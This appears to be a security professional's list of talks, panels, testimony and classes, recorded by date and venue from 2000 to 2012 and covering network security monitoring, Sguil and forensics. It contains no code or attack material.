    • Mr. Bejtlich participated on a panel titled SEC Cyber Security Guidelines: A New Basis for D&O Exposure? at the 8th Annual National Directors & Officers Insurance ExecuSummit in Uncasville, CT on 8 May 2012.
    • Mr. Bejtlich delivered the keynote to the 2012 National Cyber Crime Conference in Norwood, MA on 30 Apr 2012.
    • Mr. Bejtlich spoke at the FOSE conference on a panel discussing new attacks on 4 Apr 2012.
    • Mr. Bejtlich testified to the US-China Economic and Security Review Commission on 26 Mar 2012.
    • Mr. Bejtlich spoke at the Air Force Association CyberFutures conference (audio mp3) on 23 Mar 2012.
    • Mr. Bejtlich delivered the keynote to the IANS Research Mid-Atlantic conference on 21 Mar 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Secretary Michael Chertoff in New York, NY on 15 Mar 2012.
    • Mr. Bejtlich spoke to the Augusta, GA ISSA chapter on 8 Mar 2012.
    • Mr. Bejtlich participated on a panel about digital threats at the RSA Executive Security Action Forum on 27 Feb 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Gen (ret.) Michael Hayden in Washington, DC on 22 Feb 2012.
    • Mr. Bejtlich spoke at the ShmooCon Epilogue conference on 30 Jan 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Secretary Michael Chertoff in Houston, TX on 12 Jan 2012.
  • 2011
  • 2010
  • 2009
  • 2008
  • 2007
    • Mr. Bejtlich offered a guest lecture on digital security at George Mason University on 29 November 2007.
    • Network Security Operations: 27-29 August 2007 / public 3 day class / Chicago, IL
    • Mr. Bejtlich spoke to the Chicago Electronic Crimes Task Force and the Chicago Snort Users Group on 30 and 29 August 2007, respectively.
    • Mr. Bejtlich taught Network Security Operations on 21-23 August 2007 / Cincinnati, OH
    • Mr. Bejtlich taught TCP/IP Weapons School (layers 4-7) at USENIX Security 2007: 6-7 August 2007 / Boston, MA.
    • Mr. Bejtlich taught TCP/IP Weapons School at Black Hat USA 2007: 28-29 and 30-31 July 2007 / Caesars Palace, Las Vegas, NV.
    • USENIX 2007: 20-22 June 2007 / Network Security Monitoring and TCP/IP Weapons School (Layers 2-3) tutorials / Santa Clara, CA
    • Mr. Bejtlich briefed GFIRST 2007: 25-26 June 2007 / Network Incident Response and Forensics (two half-day tutorials) and Traditional IDS Should Be Dead conference presentation / Orlando, FL
    • Mr. Bejtlich taught TCP/IP Weapons School (Layers 2-3) and briefed Open Source Network Forensics at Techno Security 2007: 5-7 June 2007 / / Myrtle Beach, SC.
    • Mr. Bejtlich briefed Open Source Network Forensics at ISS World Spring 2007: 31 May 2007 / Washington, DC
    • Mr. Bejtlich briefed Network Incident Response and Forensics at AusCERT 2007: 23-24 May 2007 / Gold Coast, Australia.
    • Mr. Bejtlich taught Network Security Monitoring: 25 May 2007 / Sydney, Australia.
    • Mr. Bejtlich briefed at CONFIDENCE 2007: 13 May 2007 / Krakow, Poland.
    • Mr. Bejtlich briefed at ShmooCon: 24 March 2007 / Washington, DC; video here.
  • 2006
  • 2005
    • Mr. Bejtlich presented three full-day tutorials at USENIX LISA 2005 in San Diego, CA, from 6-8 December 2005. He taught network security monitoring, incident response, and forensics.
    • Mr. Bejtlich spoke at the Cisco Fall 2005 System Engineering Security Virtual Team Meeting in San Jose, CA on 10 October 2005.
    • Mr. Bejtlich spoke at the Net Optics Think Tank at the Hilton Santa Clara in Santa Clara, CA on 21 September 2005. He discussed network forensics, with a preview of material in his next book Real Digital Forensics.
    • Mr. Bejtlich taught network security monitoring to security analysts from the Pentagon with Special Ops Security on 23 and 24 August 2005 in Rosslyn, VA.
    • Mr. Bejtlich spoke at the InfraGard 2005 National Conference on 9 August 05 in Washington, DC on the basics of network forensics.
    • Mr. Bejtlich taught a one day course on network incident response, with his forensics book as the background material, at USENIX Security 05 on 1 August 2005 in Baltimore, MD.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his NSM book as the background material, at USENIX Security 05 on 31 July 2005 in Baltimore, MD.
    • Mr. Bejtlich offered a guest lecture on digital security at George Washington University on 23 June 2005.
    • Mr. Bejtlich spoke at the Techno Security 2005 conference on 13 June 2005 in Myrtle Beach, CA. He was invited by Tenable Security to appear at their evening social event.
    • Mr. Bejtlich spoke at the Net Optics Think Tank on 18 May 2005 in Sunnyvale, CA.
    • Mr. Bejtlich presented Keeping FreeBSD Up-To-Date and More Tools for Network Security Monitoring at BSDCan 2005 on 13 May 2005.
    • Mr. Bejtlich spoke to the Pentagon Security Forum on 19 April 2005.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his book as the background material, at USENIX 05 on 14 April 2005 in Anaheim, CA.
    • Mr. Bejtlich spoke to the Government Forum of Incident Response and Security Teams (GFIRST) on 5 April 2005 in Orlando, FL.
    • Mr. Bejtlich spoke to the Information Systems Security Association of Northern Virginia (ISSA-NoVA) on 17 February 2005 in Reston, VA.
    • Mr. Bejtlich spoke at the 2005 DoD Cybercrime Conference on 13 January 2005 in Palm Harbor, FL.
  • 2004
    • Mr. Bejtlich spoke to the DC Systems Administrators Guild (DC-SAGE) on 21 October 2004 about Sguil.
    • Mr. Bejtlich spoke to the DC Linux Users Group on 15 September 2004 about Sguil.
    • Mr. Bejtlich spoke to the High Technology Crime Investigation Association International Conference and Expo 2004 on 13 September 2004 in Washington, DC about Sguil.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his first book as the background material, at USENIX Security 04 on 9 August 2004 in San Diego.
    • Mr. Bejtlich spoke to the DC Snort User's Group on 24 Jun 2004 about Sguil.
    • Mr. Bejtlich presented Network Security Monitoring with Sguil (.pdf) at BSDCan on 14 May 2004.
    • Mr. Bejtlich spoke to the SANS Local Mentor program in northern Virginia for two hours on 11 May 2004 about NSM using Sguil. Joe Bowling invited him.
    • Mr. Bejtlich gave a lightning talk demo of Sguil at CanSecWest 04 on 22 April 2004.
  • 2003
    • Mr. Bejtlich spoke to ISSA-CT about network security monitoring on 9 December 2003.
    • Mr. Bejtlich taught Foundstone's Ultimate Hacking Expert class at Black Hat Federal 2003 in Tyson's Corner, 29-30 September 2003.
    • Mr. Bejtlich recorded a second webcast on network security monitoring for SearchSecurity.com. He posted the slides here.
    • Mr. Bejtlich taught the first day of Foundstone's Ultimate Hacking Expert class at Black Hat USA 2003 Training in Las Vegas on 28 July 2003.
    • Mr. Bejtlich spoke on 21 July 2003 in Washington, DC at the SANS NIAL conference.
    • Mr. Bejtlich discussed digital security in Toronto on 13 March 2003 and in Washington, DC on Tuesday, 25 March 2003 at the request of Watchguard.
    • Mr. Bejtlich taught days four, five, and six of the SANS intrusion detection track in San Antonio, Texas from 28-30 January 2003.
  • 2002
    • Mr. Bejtlich recorded a webcast on network security monitoring (PDF slides) with his friend Bamm Visscher for SearchSecurity.com and answered questions submitted by listeners. A SearchSecurity editor commented on the talk as well.
    • Mr. Bejtlich helped teach Foundstone's Ultimate Hacking class at Black Hat USA 2002 Training in Las Vegas on 29-30 July 2002.
    • Mr. Bejtlich taught days one, two, and three of the SANS intrusion detection track in San Antonio, Texas from 15-17 July 2002.
    • Mr. Bejtlich taught day four of the SANS intrusion detection track in Toronto, Ontario on 16 May 2002.
    • On 11 April 2002 Mr. Bejtlich briefed the South Texas ISSA chapter on Snort.
    • Mr. Bejtlich helped teach day four of the SANS intrusion detection track in San Antonio, Texas on 14 March 2002 after Marty Roesch was unable to teach the class.
  • 2000-2001
    • On 24-25 October 2001 Mr. Bejtlich spoke to the Houston InfraGard chapter at their 2001 conference.
    • In August and September 2001 Mr. Bejtlich briefed analysts at the AFCERT on Interpreting Network Traffic.
    • On 19 October 2000 Mr. Bejtlich was invited back to speak at the SANS Network Security 2000 Technical Conference.
    • During 14-16 August 2000 Mr. Bejtlich participated in the Cyber Summit 2000 sponsored by the Air Intelligence Agency. Mr. Bejtlich was a captain in the AFCERT. You will find him in the middle of this picture.
    • In June 2000 Mr. Bejtlich signed a letter protesting the Council of Europe draft treaty on Crime in Cyberspace.
    • In June 2000 Mr. Bejtlich briefed FIRST on third party effects. This predated CAIDA's 2001 USENIX "backscatter" paper.
    • On 25 March 2000 Mr. Bejtlich presented Interpreting Network Traffic: A Network Intrusion Detector's Look at Suspicious Events at the SANS 2000 Technical Conference.